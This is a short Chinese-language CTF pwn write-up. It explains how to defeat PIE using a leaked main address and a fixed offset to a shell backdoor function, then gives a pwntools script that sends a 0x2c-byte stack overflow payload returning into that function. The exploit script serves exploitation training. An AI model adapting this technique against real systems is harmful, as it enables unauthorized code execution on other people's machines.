看了一下pwn的保护,开启了pie保护
所谓pie保护啊,就是data、text段载入内存的时候,地址会被随机化
main函数,里面调用了vuln函数,并且泄露出自己main函数的地址
vuln很显然是个栈溢出
shell函数,是我们要获取是后门
既然泄露了main的真实地址,那么我们通过偏移也能知道shell的真实地址
文件中shell地址 - 文件中mian地址 = 偏移
内存中main地址 + 偏移 = 内存中shell的地址
知道了这些,那么就可以写代码了
from pwn import *
#io = process('./pwn')
io = remote()
pianyi = 0x80f - 0x770
io.recvline()
main_addr = int(io.recvuntil('\n',drop=True),16)
io.recv()
payload = flat([b'A'*0x2c,main_addr+pianyi])
io.sendline(payload)
io.interactive()